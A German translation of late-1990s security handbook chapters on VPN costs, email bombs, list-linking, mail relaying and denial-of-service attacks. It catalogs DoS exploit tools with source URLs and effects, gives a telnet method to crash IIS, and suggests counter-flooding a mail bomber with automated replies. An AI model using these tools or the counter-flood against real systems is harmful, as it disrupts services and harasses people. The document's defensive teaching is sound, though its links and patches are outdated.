Blockierungen für Java, ActiveX, Cookies, Übertragungsanstürme und ICMP-Attacken
Automatisierte Enkryptionsschlüssel-Veränderung alle 24 Stunden
Sicherheitskonzepte
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Netfortress ist vielleicht das sicherste zur Zeit erhältliche VPN. Es ändert alle 24 Stunden automatisch
die Enkryptionsschlüssel und bietet mit die stärkste Verschlüsselung, die derzeit für Live-Sessions
verfügbar ist. Aber das ist noch nicht alles. Netfortress ist extrem schnell. Man kann Echtzeit-Updates an
einer Datenbank irgendwo im Land durchführen und trotzdem extreme Verschlüsselung genießen.
Netfortress (und ähnliche Produkte) kann Ihnen einen erheblichen Teil Ihrer Kosten ersparen. Statt einer
monatlichen Gebühr für Festverbindungen zwischen Ihren Zweigstellen zahlen Sie einmalig für eine
sichere VPN-Lösung.
8.7.5 Fazit
Das Fazit ist dies: All diese Faktoren werden Ihre Kosten beeinflussen - und es gibt keine
Industrie-Standards darüber, was diese oder jene Aufgabe kosten wird. Sie können jedoch einiges
unternehmen, um astronomische Kosten zu vermeiden.
Erinnern Sie sich an die Informationen, die Sie zusammentragen sollten? Wenden Sie sich an zwei
Sicherheitsunternehmen mit gutem Ruf und bitten Sie sie, einen Kostenvoranschlag für das Sammeln
dieser Informationen und für entsprechende Empfehlungen zu machen. Der Kostenvoranschlag sollte
einen Bericht darüber enthalten, wie diese Unternehmen im Fall einer Auftragserteilung vorgehen
würden. Dies wird Ihnen nicht nur eine astronomische Summe geben, sondern Sie auch auf besondere
Punkte in Ihrer Konfiguration aufmerksam machen. Außerdem können Sie diese Summe auch gut dazu
benutzen, mit demjenigen zu feilschen, den Sie dann tatsächlich beauftragen werden.
8.8 Über Ihren Systemadministrator
Eine letzte Anmerkung zu den Kosten: Es lohnt sich, Ihrem Systemadministrator zusätzliche Schulungen
anzubieten. Je weniger Sie auslagern müssen, um so besser stehen Sie da. Außerdem kennt Ihr
Systemadministrator Ihr Netzwerk schon in- und auswendig. Sie sollten den Nutzen maximieren, den Sie
davon haben, daß Sie Ihren Systemadministrator bezahlen. (Anders gesagt: Warum noch mehr bezahlen?
Sie zahlen ja schon jemanden für die Wartung Ihres Netzwerks.)
8.9 Consultants und andere Lösungen
Wenn Sie vorhaben, Electronic Commerce über das Internet anzubieten, sollten Sie Ihre Optionen
gründlich in Betracht ziehen. Manchmal kann eine zusammmengesetzte Lösung (eine Mischung aus
Lösungen verschiedener Drittanbieter) genauso sicher und billiger sein wie die Implementierung einer
sogenannten »integrierten« Lösung. Hier sind einige gute Quellen, die Sie sich ansehen sollten:
SecureCC. Sichere Transaktionen für das Web. http://www.securecc.com/.
Netscape Communications Corporation. http://www.netscape.com/.
Process Software Corporation. http://www.process.com/.
Alpha Base Systems, Inc. EZ-Commerce und EZ-ID-System.
http://alphabase.com/ezid/nf/com_intro.html.
Sicherheitskonzepte
file:///d|/cool stuff/old/hack/kap08.htm (13 von 14) [19.04.2000 21:14:28]
Data Fellows. F-Secure-Produktlinie. http://www.europe.datafellows.com/f-secure/.
Credit Card Transactions: Real World and Online. Keith Lamond. 1996.
http://rembrandt.erols.com/mon/ElectronicProperty/klamond/CCard.htm
Digital Money Online. A Review of Some Existing Technologies. Dr. Andreas Schöter und Rachel
Willmer. Intertrader, Ltd. Februar 1997.
A Bibliography of Electronic Payment Information. http://robotics.stanford.edu/users/
ketchpel/ecash.html
A Framework for Global Electronic Commerce. Clinton Administration. Eine Zusammenfassung finden
Sie unter http://www.iitf.nist.gov/eleccomm/exec_sum.htm oder http://
www.iitf.nist.gov/eleccomm/glo_comm.htm.
Electronic Payment Schemes. Dr. Phillip M. Hallam-Baker. World Wide Web Consortium.
http://www.w3.org/pub/WWW/Payments/roadmap.html.
On Shopping Incognito. R. Hauser und G. Tsudik. Second Usenix Workshop on Electronic Commerce.
http://www.isi.edu/~gts/paps/hats96.ps.gz.
Fast, Automatic Checking of Security Protocols. D. Kindred und J. M. Wing. Second Usenix Workshop
on Electronic Commerce, pp. 41-52. November 1996. http://www-
cgi.cs.cmu.edu/afs/cs.cmu.edu/project/venari/www/usenix96-submit.html.
Business, Electronic Commerce and Security. B. Israelsohn. 1996.
http://www.csc.liv.ac.uk/~u5bai/security/security.html.
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Sicherheitskonzepte
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9
Destruktive Programme
In diesem Kapitel lernen Sie destruktive Programme kennen. Das sind Programme, die kaum gesellschaftlichen oder
akademischen Wert haben, den modernen Systemadministrator aber dennoch plagen.
9.1 Was sind destruktive Programme?
Destruktive Programme sind Programme, die eines oder beide der folgenden Ziele haben:
Belästigung
Zerstörung von Daten
Destruktive Programme werden in der Regel von unreifen Benutzern, verärgerten Angestellten oder Jugendlichen eingesetzt, sei
es aus purer Bosheit oder aus dem Spaß daran, andere zu belästigen.
9.2 Destruktive Programme als Sicherheitsrisiken
Die meisten destruktiven Programme stellen kein Sicherheitsrisiko dar, sondern sind in erster Linie Ärgernisse. Allerdings
können diese Programme manchmal die Funktionsfähigkeit Ihres Netzwerks bedrohen. Ein Programm beispielsweise, das einen
Router oder einen Mail-Server unter eine anhaltende Denial-of-Service-Attacke bringt, könnte ein Sicherheitsrisiko darstellen.
Auf alle Fälle können legitime Netzwerkbenutzer während der Dauer eines derartigen Angriffs nicht auf wichtige
Netzwerk-Ressourcen zugreifen. Zwar wird das System an sich durch den Angriff nicht gefährdet, aber er führt zu einer
Unterbrechung der System-Arbeitsabläufe. Daher sollte jeder neue Systemadministrator generell über Denial- of-Service und
destruktive Programme Bescheid wissen.
Dieses Kapitel behandelt vor allem drei der wichtigsten destruktiven Programme:
E-Mail-Bomben und List-Linking (Verknüpfen mit Mailing-Listen)
Denial-of-Service-Tools
Computerviren
9.3 Die E-Mail-Bombe
E-Mail-Bomben führen selten zu Datenverlust oder Sicherheitslöchern, sondern sind Tools, die der Belästigung anderer dienen.
9.3.1 Was ist eine E-Mail-Bombe?
Eine herkömmliche E-Mail-Bombe ist einfach eine Serie von Nachrichten (vielleicht Tausende), die an Ihre Mailbox gesandt
werden. Der Angreifer will Ihre Mailbox mit Müll überladen. Die meisten Internet-Benutzer erhalten eine E-Mail-Bombe
innerhalb eines Jahres, nachdem sie online gegangen sind. Der Angreifer ist gewöhnlich jemand, der mit irgendeiner Ihrer
Aussagen in einem Usenet-Diskussionsforum nicht einverstanden war. Normalerweise ist eine E-Mail-Bombe etwa 2 Mbyte
groß. Wenn Sie eine Anwählverbindung zum Internet haben, führt dies zu erhöhten Verbindungsgebühren und ist schlicht
Zeitverschwendung.
Destruktive Programme
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9.3.2 E-Mail-Bomben-Pakete
E-Mail-Bomben-Pakete sind Programme, die den Prozeß des E-Mail-Bombings automatisieren. Systemadministratoren sollten
diese Pakete und die Dateinamen, die mit ihnen verknüpft sind, kennen. (Zwar mag diese Kenntnis einen Angriff auf Ihr System
nicht verhindern, aber sie verhindert, daß Ihre Benutzer andere Systeme angreifen.)
Tabelle 9.1 listet die beliebtesten E-Mail-Bomben-Pakete und die dazugehörenden Dateinamen auf. Wenn Sie ein
Multi-User-Netzwerk betreiben, sollten Sie Ihre Laufwerke nach diesen Dateinamen durchsuchen.
Tabelle 9.1: Bekannte E-Mail-Bomben-Pakete und dazugehörende Dateinamen
E-Mail-Bomben-Paket Dateinamen
Up Yours UPYOURS3.ZIP, UPYOURS3.EXE, MAILCHECK.EXE, UPYOURSX
Kaboom KABOOM3.ZIP, KABOOM3.EXE, KABOOM3!.ZIP, WSERR.DLL
The Unabomber UNA.EXE, KWANTAM.NFO
The Windows Email Bomber BOMB.EXE, BOMB.TXT, BOMB02B.ZIP
Gatemail GATEMAIL.C
Unix Mail-Bomber MAILBOMB.C
9.3.3 Wie gehen Sie mit E-Mail-Bomben um?
Kill Files (Liste, die Nachrichten von unerwünschten Absendern ausfiltert und löscht), Exklusionsschemen und Mail-Filter sind
alles Abhilfen für E-Mail-Bomben. Mit Hilfe dieser Tools können Sie automatisch Mail ablehnen, die von der Absenderadresse
mit diesen Tools losgeschickt wurde.
Es gibt verschiedene Wege, ein solches Exklusionsschema zu implementieren. Unix- Anwender finden online eine große Vielfalt
an Quellen. Weiterhin kann ich ein Buch empfehlen, das sich mit der Entwicklung intelligenter Kill-File-Mechanismen
auseinandersetzt: Sams Teach Yourself the Unix Shell in 14 Days von David Ennis und James Armstrong jr. (Sams Publishing).
Kapitel 12 dieses Buches beinhaltet ein hervorragendes Script für diesen Zweck. Wenn Sie ein neuer Anwender sind, wird Ihnen
dieses Kapitel (tatsächlich auch das ganze Buch) sehr nützlich sein.
Wenn Sie statt dessen mit Windows oder MacOS arbeiten, kann ich Ihnen jede der in Tabelle 9.2 aufgelisteten
Mail-Filter-Applikationen empfehlen. Viele von ihnen sind Shareware, Sie können sie also testen, bevor Sie sie kaufen.
Tabelle 9.2: Beliebte Mail-Filter-Applikationen und ihre Internet-Adressen
Filter-Paket URL
Stalker (MacOS) http://www.stalker.com/
Eudora Mail Server (MacOS) http://www.eudora.com/
Musashi (PPC, MacOS) http://www.sonosoft.com/musashi/index.html
Advanced E-mail Protector http://www.antispam.org/
E-Mail Chomper (Win 95) http://www.sarum.com/echomp.html
SPAM Attack Pro (Win 95) http://www.softwiz.com/
Spam Buster (Win 95) http://www.contactplus.com/
SpamKiller (Win 95) http://www.spamkiller.com/
Wenn jemand anfängt, Sie zu bombardieren, können Sie immer auch einen menschlichen Ansatz versuchen und seinen
Postmaster kontaktieren. Dies ist im allgemeinen recht wirksam; der Benutzer wird ermahnt, daß sein Verhalten unnötig ist und
nicht toleriert wird. In den meisten Fällen reicht dies zur Abschrekkung. Manche Provider sind sogar so hart und schließen auf
der Stelle den Account.
Destruktive Programme
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Eine andere Lösung ist ein bißchen gewiefter, funktioniert aber gut und kann automatisiert werden. So geht's: Schreiben Sie ein
Script, das die E-Mail-Adresse des Angreifers auffängt. Für jede erhaltene Nachricht antworten Sie automatisch mit einem
höflichen 10seitigen Hinweis, daß derartige Attacken der Netiquette widersprechen und daß sie unter gewissen Umständen sogar
gegen das Gesetz verstoßen. Nachdem der Angreifer etwa 1.000 derartige Antworten erhalten hat, wird sein Provider an die
Decke gehen, den Angreifer zu sich zitieren und ihm die Finger abhacken.
Hinweis:
Dieser Ansatz ist für Endanwender nicht empfehlenswert - Ihr eigener Provider könnte Ihnen Ärger
machen. Wenn Sie jedoch Ihr eigener Herr sind, tun Sie es einfach!
Schließlich sollten Sie noch eines wissen: Nicht alle Internet Service Provider handeln verantwortlich. Einigen ist es egal, ob ihre
Benutzer E-Mail-Bomben an andere versenden. Die einfachste Reaktion darauf ist, jeglichen Verkehr von der entsprechenden
Domain abzuweisen.
9.3.4 E-Mail-Bomben als Sicherheitsrisiken
In seltenen Fällen können E-Mail-Bomben in Denial-of-Service resultieren. Zum Beispiel bombardierte jemand die Monmouth
University in New Jersey in einer dermaßen aggressiven Art und Weise, daß der Mail-Server vorübergehend ausfiel. Dieser
Vorfall zog eine FBI- Untersuchung nach sich, und der junge Mann wurde verhaftet.
Hinweis:
Die meisten Mail-Server stürzen unter bestimmten Umständen ab. Zum Beispiel fand einer meiner
Kunden heraus, daß das Senden einer 40-Mbyte- Mail an mailserv auf UnixWare den gesamten Rechner
abstürzen läßt. Der Rechner läßt sich nur durch erneutes Booten wiederherstellen und neu zu booten ist
keine Wiederherstellung. Es gibt keine Korrektur hierfür.
Wenn ein Angriff auf Ihren Rechner derartige Auswirkungen hat, sollten Sie die Behörden kontaktieren. Dies gilt im besonderen,
wenn der Angreifer seinen Ursprung variiert und damit Mail-Filter oder Exklusionsschemen am Router-Level umgeht. Wenn sich
dieser Angriff beharrlich wiederholt, besteht Ihre einzige Abhilfe wahrscheinlich darin, die Polizei zu kontaktieren.
9.4 List-Linking
List-Linking ist eine neuere und hinterhältigere Form der Belästigung. List-Linking bedeutet, daß der Angreifer Sie bei
Dutzenden von Mailing-Listen als Abonnent registriert.
Hinweis:
Mailing-Listen verteilen Mail-Nachrichten, die aus verschiedenen Quellen gesammelt werden. Diese
Nachrichten konzentrieren sich in der Regel auf ein Special-Interest-Thema. Die Mail-Server sammeln
entsprechende Nachrichten und mailen täglich, wöchentlich oder monatlich an die Mitglieder.
Mitglieder können sich auf verschiedene Art und Weise registrieren lassen, meistens geschieht dies
jedoch durch E-Mail.
E-Mail-Bomben-Pakete automatisieren den List-Linking-Prozeß. Zum Beispiel sind Kaboom und Avalanche zwei bekannte
E-Mail-Bomben-Pakete, die »Point & Click«-List- Linking bieten. Die Auswirkungen einer solchen Verbindung können
katastrophal sein. Die meisten Mailing-Listen produzieren mindestens 50 Mail-Nachrichten täglich, von denen manche binäre
Attachments enthalten. Wenn der Angreifer Sie bei 100 Mailing-Listen anmeldet, werden Sie 5.000 E-Mails pro Tag erhalten.
Außerdem müssen Sie sich bei jeder Mailing-Liste einzeln manuell wieder abmelden, wenn Sie erst einmal dort registriert sind.
Überdies wählen Angreifer oft Zeiten, zu denen Sie nicht anwesend sind, wie beispielsweise Urlaubszeiten. Daher sammeln sich
während Ihrer Abwesenheit Tausende von Nachrichten in Ihrer Mailbox. Dies kann zu Denial-of-Service führen, insbesondere
wenn Ihr Systemadministrator Quotas auf Mail vergibt.
Hinweis:
Destruktive Programme
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Quotas sind Limitierungen des Festplattenspeichers. Wenn Ihre Mailbox die maximale Speichermenge,
die Ihnen zugeordnet wurde, erreicht, wird sie keine Nachrichten mehr annehmen. Daher füllen die
ersten 1.000 Nachrichten des Angreifers Ihre Mailbox, so daß andere Nachrichten Sie nicht mehr
erreichen können.
Der öffentlich meistbekannt gewordene Fall von List-Linking war der eines Senior-Editors vom Time Magazine. Am 18. März
1996 veröffentlichte Time einen Artikel mit dem Titel »I'VE BEEN SPAMMED!«. Der Artikel berichtete über einen
List-Linking-Vorfall, der den amerikanischen Präsidenten, zwei bekannte Hacker-Magazine und einen Senior-Editor von Time
betraf. Der Editor wurde bei etwa 1.800 Mailing-Listen registriert. Die daraus folgende Mail belief sich auf etwa 16 Mbyte.
Interessanterweise wurde auch der Sprecher des Repräsentantenhauses, Newt Gingrich, bei diesen Mailing-Listen angemeldet.
Gingrich hatte, wie die meisten Kongreßmitglieder, ein Script für seine Mail-Adresse laufen, das automatisch Antworten
generiert. Diese Scripts filtern die E-Mail-Adresse aus jeder eingehenden Nachricht heraus und versenden automatisierte
Antworten. Gingrichs automatisches Antwortscript empfing und beantwortete jede einzelne Nachricht. Dies erhöhte nur die
Anzahl der Nachrichten, die er erhalten würde, da immer, wenn er auf eine Nachricht der Mailing-Liste antwortete, seine Antwort
an die ausgehenden Nachrichten der Mailing-Liste gehängt wurde. Damit bombadierte sich der Sprecher des
Repräsentantenhauses praktisch selbst.
List-Linking ist besonders hinterhältig, da ein einfacher Mail-Filter das Problem nicht wirklich löst, sondern nur unter den
Teppich kehrt, weil Sie solange Mail erhalten werden, bis Sie sich wieder abgemeldet haben. Tatsächlich werden die Nachrichten
in der Regel mindestens für 6 Monate kommen. Einige Mailing-Listen verlangen, daß man sein Abonnement alle 6 Monate
erneuert. Dies geschieht in der Regel über eine Bestätigungsnachricht an den Listen- Server. In einer solchen Nachricht bitten Sie
um Verlängerung der Mitgliedschaft um weitere 6 Monate. Natürlich werden Sie irgendwann aus der Liste gestrichen, wenn Sie
keine derartige Bestätigung losschicken. In diesem Fall jedoch haben Sie vor Ablauf der 6 Monate keine Möglichkeit, von der
Liste zu kommen. Daher sollten Sie sich mit List-Linking sofort befassen, auch wenn es noch so ärgerlich ist.
Einzige Abhilfe für List-Linking ist, sich bei allen Mailing-Listen wieder abzumelden. Dies ist aus mehreren Gründen
schwieriger als es sich anhört. Ein Grund ist, daß neue Listen nur selten Informationen zur Abmeldung in ihren Mails liefern. Sie
müssen also möglicherweise diese Informationen erst einmal im Web suchen. Wenn das so ist, rechnen Sie mit mehreren Stunden
Ausfallzeit.
Ihre Möglichkeiten, sich schnell und effektiv von allen Listen wieder abzumelden, hängt zu einem großen Teil auch von Ihrem
E-Mail-Programm ab. Wenn Ihr E-Mail-Client über mächtige Suchfunktionen verfügt, die es Ihnen ermöglichen, Betreffzeilen
und Absenderangaben zu filtern, können Sie die Adressen der Mailing-Listen relativ schnell sammeln. Wenn Sie jedoch einen
Mail-Client ohne Suchfunktionen benutzen, stehen Sie vor einem mühsamen Unterfangen. Wenn Sie gerade einen
List-Linking-Angriff erlitten haben und einen Mail-Client ohne Suchfunktion haben, sollten Sie sich eine neue E-Mail-Adresse
besorgen und die alte löschen. Im Endeffekt wird dies Ihr Problem schneller lösen.
9.5 Ein Wort zu E-Mail-Relaying
Schließlich gibt es noch einen Punkt in bezug auf E-Mails, der viele Systemadministratoren ärgert: E-Mail-Relaying.
E-Mail-Relaying heißt, daß Clients, die mit anderen Providern verbunden sind, Ihren Server für E-Mail benutzen. Dies ermöglicht
Benutzern mit dynamischer IP-Adresse die Benutzung Ihres Mail-Dienstes (statt nur der Adressen Ihres Subnetzes oder
Netzwerks). Daher können Spammer und andere Spinner Ihr Mail-System kidnappen und es dazu benutzen, das Internet mit
Junk-Mail zu überladen.
Wenn Sie E-Mail-Relaying anbieten, könnten Sie mit diesem Problem konfrontiert werden. Die einzige Lösung ist, IP-Adressen
zu filtern und solche von unerwünschten Netzwerken auszuschließen. Dies ist natürlich ein großes Problem, wenn Ihre Kunden
beispielsweise AOL benutzen, da Sie dann im Endeffekt 9 Millionen Leute ausschließen müßten.
Die meisten Internet Service Provider weigern sich heutzutage aus genau diesem Grund, Relay-Dienste auzubieten. (Sie denken
vielleicht, daß sich dieses Problem einfach über ein Programm lösen ließe, aber das ist nicht wahr. Sie können dies verifizieren,
indem Sie sich die Kopfzeilen eingegangener Nachrichten ansehen. Unautorisierte Anfragen sehen genau wie autorisierte aus und
daher ist das Schreiben eines Wrappers praktisch unmöglich.) Ich denke, man sollte Relays ausschalten und statt dessen
Anwähldienste einrichten. (Es sei denn, Ihre Clients sind sehr weit von Ihrem Server entfernt. Unter diesen Umständen sind
Ferngesprächgebühren fällig und daher ist eine Anwählverbindung nicht realistisch.)
Destruktive Programme
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9.6 Denial-of-Service-Attacken
Denial-of-Service(DoS)-Attacken sind ganz ähnlich wie E-Mail-Bomben in erster Linie Ärgernisse. DoS-Attacken sind jedoch
wesentlich bedrohlicher, besonders wenn Sie ein Unternehmensnetzwerk betreiben oder Internet Service Provider sind. Das
kommt daher, daß DoS-Attacken vorübergehend Ihr gesamtes Netzwerk lahmlegen können (oder zumindest die Hosts, die auf
TCP/IP aufgebaut sind).
Die erste bedeutende Denial-of-Service-Attacke war der Morris-Wurm. Schätzungen zufolge waren etwa 5.000 Rechner für
einige Stunden betriebsunfähig. Zu jener Zeit (1988) war es eine Katastrophe für akademische- und Forschungseinrichtungen,
hatte aber nur wenig Auswirkung auf den Rest der Welt. Heutzutage könnte eine vergleichbare DoS- Attacke Verluste in
Millionenhöhe nach sich ziehen.
Das Ziel einer DoS-Attacke ist einfach und direkt - Ihre(n) Host(s) vom Netz abzutrennen. Denial-of-Service-Attacken sind
immer böswillig, außer wenn Sicherheitsexperten DoS- Attacken gegen ihre eigenen Netzwerke (oder andere vorher bestimmte
Hosts) ausführen. Es gibt für niemanden einen legitimen Grund, Ihr Netzwerk zu beeinträchtigen. DoS-Attacken sind nach einer
ganzen Reihe von Bundes- und Landesgesetzen strafbar. Wenn Sie einen Täter finden, der Ihr Netzwerk angreift, sollten Sie die
Behörden benachrichtigen. DoS-Attakken sind nicht das Resultat der Arbeit neugieriger Hacker, sondern kriminelle Taten mit
feindlicher Absicht.
9.6.1 Wo Sie Denial-of-Service-Attacken finden werden
DoS-Angriffe schlagen am Herzen von IP-Implementierungen zu. Daher können sie auf jeder Plattform stattfinden. Noch
schlimmer, da IP-Implementierungen sich von Plattform zu Plattform nicht drastisch unterscheiden, kann eine einzelne
DoS-Attacke mehrere Zielbetriebssysteme treffen. (Das Beispiel, das sich hier aufdrängt, ist die LAND-Attacke, die fast zwei
Dutzend verschiedene Betriebssysteme beeinträchtigen konnte, darunter Windows NT und einige Unix-Versionen.)
Überdies zeigt die Analyse von DoS-Codes durchgehend, daß selbst wenn eine neue DoS- Attacke zunächst nicht auf allen
Plattformen funktioniert, sie dies irgendwann tun wird. Neu entwickelte DoS-Attacken werden etwa alle zwei Wochen
herausgegeben. Diese Versionen werden in der Regel auf einer einzelnen Entwicklungsplattform (z.B. Linux) geschrieben, um
eine einzelne Zielplattform (z.B. Windows 95) anzugreifen. Nach der Veröffentlichung des entsprechenden Codes wird er von
der Hacker- und Crackergemeinde untersucht. Innerhalb von Tagen bringt dann jemand eine geänderte Version (eine sogenannte
Mutation) heraus, die eine größere Auswahl an Betriebssystemen beeinträchtigen kann.
Sie sollten DoS-Attacken sehr ernst nehmen. Sie sind gemein und einfach zu implementieren, sogar von Crackern mit wenig
Programmiererfahrung. Tools für Denial-of-Service- Attacken sind daher weitverbreitete Waffen, jeder kann sie bekommen und
jeder kann sie benutzen.
Noch beunruhigender ist es, daß Polizeibehörden in der Verfolgung von Denial-of-Service- Attacken oft zögern - auch wenn der
Täter bekannt ist. Viele Polizeibehörden haben noch nicht begriffen, daß Denial-of-Service eine kritische Sache ist. Werfen wir
einen kurzen Blick auf Denial-of-Service-Tools, den Schaden, den sie anrichten können und die Plattformen, die sie
beeinträchtigen.
9.6.2 Übersicht über Denial-of-Service-Attacken
Nachstehend finden Sie eine umfassende Übersicht über DoS-Attacken, von denen jede vollständig mit Hilfe folgender Felder
beschrieben wird:
Dateiname. Der angegebene Dateiname ist der, unter dem die Attacke am bekanntesten ist. Sie sollten jedoch beachten, daß in
dem Maße, in dem Exploit-Codes verteilt werden auch die Dateinamen geändert werden. Es gibt verschiedene Gründe hierfür,
aber der wichtigste ist, daß der Exploit-Code vor Systemadministratoren verborgen bleiben soll. Da Systemadministratoren in der
Regel die Dateinamen dieser Tools kennen, werden sie von Crackern häufig umbenannt.
Autor. Hier sehen Sie oft Aliase oder E-Mail-Adressen statt richtiger Namen. Ich habe mich sehr darum bemüht, die Namen,
E-Mail-Adressen oder Aliase der Original-Autoren zu finden. Wenn Sie eins der nachfolgenden Programme geschrieben haben
und es irrtümlicherweise einer anderen Person zugesprochen wurde, kontaktieren Sie bitte den Verlag und lassen Sie es ihn
wissen.
URL. Hier finden Sie die Internet-Adresse für den Exploit-Source-Code. Von dieser URL können Sie den Code herunterladen
und auf ihrem eigenen Rechner testen.
Destruktive Programme
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Hintergrundinformationen. Hier finden Sie URLs, über die Sie weitere Dokumentationen finden können. In der Regel sind das
Artikel oder Postings in Mailing-Listen, die die Hauptcharakteristiken der Attacke ausführlich beschreiben.
Entwicklungsbetriebssystem. Dieses Feld beschreibt entweder, auf welcher Plattform der Code geschrieben wurde oder in
welchem Betriebssystem der Code erfolgreich laufen kann.
Zielbetriebssystem. Dieses Feld gibt an, welche Plattform mit dem Code erfolgreich angegriffen werden kann.
Auswirkung. Hier finden Sie eine kurze Beschreibung der Auswirkungen der jeweiligen Attacke.
Abhilfe. Dieses Feld gibt Ihnen URLs, unter denen Sie Patches oder Abhilfen finden.
9.6.3 Bekannte DoS-Attacken
Die folgenden Attacken sind gut bekannt und gut dokumentiert. Wenn Sie für die Sicherung eines Netzwerks verantwortlich sind,
sollten Sie diese Grundlagen auf jeden Fall kennen. Auch wenn DoS-Attacken nicht sehr schwerwiegend sind, kann es doch
peinlich sein, wenn Ihr Netzwerk durch eine solche beeinträchtigt wird. Da Abhilfen verfügbar sind, gibt es keinen Grund, diese
nicht anzuwenden. Nehmen Sie sich jetzt einen Moment Zeit und gehen Sie die folgenden Attacken durch, um zu sehen, ob Sie
für eine anfällig sind. Den meisten kann auf einfache Art und Weise abgeholfen werden.
Bonk und Boink-Attacken
Dateiname: bonk.c
Autor: Die Leute von ROOTSHELL.COM
URL: http://www.njh.com/latest/9801/980109-01.html
Hintergrundinformationen: siehe URL
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Windows 95 und Windows NT
Auswirkung: Dieses Utility läßt jeden Windows 95- oder NT-Rechner abstürzen und ist im Grunde eine modifizierte Version
eines Codes, der früher von Route@infonexus.com geschrieben wurde.
Abhilfe: http://itrac.bourg.net/patches/nt/tearfixi.exe
Hanson-Attacke
Dateiname: hanson.c
Autor: Myn@efnet
URL: http://www.netlife.fi/users/zombi/hanson.c
Hintergrundinformationen: siehe URL
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Windows mit jedem MIRC-Client
Auswirkung: Schmeißt MIRC-Clients aus dem Netzwerk
Abhilfe: unbekannt
INETINFO.EXE-Attacke
Dateiname: inetinfo, inetinfo.c, inetinfo.pl
Autor: Bob Beck. Auch von Chris Bayly und Evan L. Carew
Destruktive Programme
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URL: http://www.jabukie.com/Unix_Sourcez/inetinfo
Hintergrundinformationen: http://support.microsoft.com/support/kb/articles/q160/5/ 71.asp
Entwicklungsbetriebssystem: Unix, andere
Zielbetriebssystem: Windows NT 4.0
Auswirkung: Beliebiger Text, der an die Ports 135 und 1031 gesendet wird, läßt den Internet Information Server (IIS) abstürzen.
Abhilfe: Service Pack 2.0
Beck, Bayly, Carew und die Leute von http://www.rootshell.com berichten über verschiedene Auswirkungen. Sie können diese
Attacke selbst testen, wenn Sie wollen. Dazu senden Sie über Telnet eine Reihe von Text-Strings an Port 135 und unterbrechen
dann die Verbindung. Dies sollte den IIS zum Absturz bringen. Wenn es so ist, müssen Sie den Patch in Ihrem System
installieren.
Jolt
Dateiname: jolt.c
Autor: Jeff W. Roberson
URL: http://www.jabukie.com/Unix_Sourcez/jolt.c
Hintergrundinformationen: http://www.jabukie.com/Unix_Sourcez/jolt.c
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Windows 95
Auswirkung: Fragmentierte, übergroße Pakete überladen Windows 95.
Abhilfe: http://support.microsoft.com/download/support/mslfiles/Vipup20.exe
Tip:
Der Patch für Jolt funktioniert nur, wenn Sie zusätzlich den VTCPUPD- Patch installieren. Diesen
finden Sie unter http://support.microsoft.com/ download/support/mslfiles/Vtcpupd.exe.
Jolt wurde anscheinend von älteren DoS-Attacken für POSIX- und SYSV-Systeme abgeleitet. Der Autor von Jolt berichtet, daß
manche Systeme nach einem Angriff einen blauen Bildschirm zeigen.
Land
Dateiname: Land.c
Autor: Die Leute von http://www.rootshell.com
URL: http://www.jabukie.com/Unix_Sourcez/land.c
Hintergrundinformationen: http://www.cisco.com/warp/public/770/land-pub.shtml.
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Viele vernetzte Betriebssysteme und manche Router.
Auswirkung: Pakete mit Verbindungsanfragen, in denen der Ursprungs- und der Zielrechner gleich benannt werden, frieren den
Zielrechner ein.
Abhilfe: http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
Die LAND-Attacke brachte die Internet-Gemeinde zum Zittern, vor allem wegen der hohen Anzahl von betroffenen Systemen
und der Tatsache, daß auch bestimmte Hardware-Komponenten der Netzwerke, darunter Router, anfällig waren.
Destruktive Programme
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Hinweis:
Nur bestimmte Hardware war anfällig. Es ist bekannt, daß NCD X-Terminals, Catalyst LAN-Switches
(Serien 5000 und 2900) und Cisco IOS/700 alle anfällig waren. Wenn Sie befürchten, daß Ihr Router
ebenfalls anfällig ist, sollten Sie land.c kompilieren und einen Testlauf fahren.
Sie sollten Ihren Hersteller in bezug auf Abhilfen kontaktieren. Möglicherweise dauert es eine Weile, alle LAND-Variationen zu
finden, da so viele Mutationen aufgetaucht sind. Eine Version bringt Windows 95 und NT auch bei installiertem Service Pack 3
zum Absturz. Diese Attacke - sie heißt La Tierra - wurde 1997 von Mondo Man ins Internet gesetzt. Da immer wieder neue
Variationen auftauchen, sollten Sie regelmäßig bei Ihrem Anbieter nach neuen Patches fragen. Kurzfristige Abhilfen für Cisco
Hardware finden Sie unter http://geek- girl.com/bugtraq/1997_4/0356.html. Oder kontaktieren Sie Ihren entsprechenden
Hersteller.
Wenn Sie mit Windows 95 arbeiten, holen Sie sich den Patch für die ursprüngliche LAND- Attacke und für einige Mutationen.
Diesen Patch finden Sie hier:
http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
Newtear-Attacke
Dateiname: newtear.c
Autor: Route@infonexus.com (Michael Schiffman)
URL: http://itrac.bourg.net/exploits/newtear.c
Hintergrundinformationen: siehe URL
Entwicklungsbetriebssystem: Linux, BSD
Zielbetriebssystem: Windows 95 oder Windows NT
Auswirkungen: Eine neue Variation (Januar 1998) von Teardrop, die in einem blauen Bildschirm resultiert und schließlich den
Rechner zum Absturz bringt.
Abhilfe: http://itrac.bourg.net/patches/nt/tearfixi.exe
Microsoft hat einen Ratgeber zu dieser neuen Attacke herausgegeben, den Sie hier finden:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/ teardrop2-fix/Q179129.txt
Pong
Dateiname: pong.c
Autor: FA-Q
URL: http://www.ludat.lth.se/~dat92jni/dat/pong/pong.c
Hintergrundinformationen: s. URL
Entwicklungsbetriebssystem: Linux
Zielbetriebssystem: Windows 95
Auswirkungen: Ziele, die mit unverlangten ICMP-Paketen überflutet werden, stürzen ab.
Abhilfe: unbekannt
Puke
Dateiname: puke.c
Autor: Jeff W. Roberson
Destruktive Programme
file:///d|/cool stuff/old/hack/kap09.htm (8 von 22) [19.04.2000 21:14:32]
URL: http://www.jabukie.com/Unix_Sourcez/puke.c
Hintergrundinformationen: siehe URL.
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Alle Betriebssysteme, da der Fehler eine Schwäche im Internet-Protokoll (IP) ist.
Auswirkungen: Ein ICMP-Source-Unreachable führt zum Abbruch bestehender IP-Verbindungen.
Abhilfe: Der Umgang mit ICMP-Source-Unreachable Paketen auf Kernel-Ebene (IP-Stack) kann entsprechend abgeändert
werden.
Real Audio-Attacke
Dateiname: pnserver.c
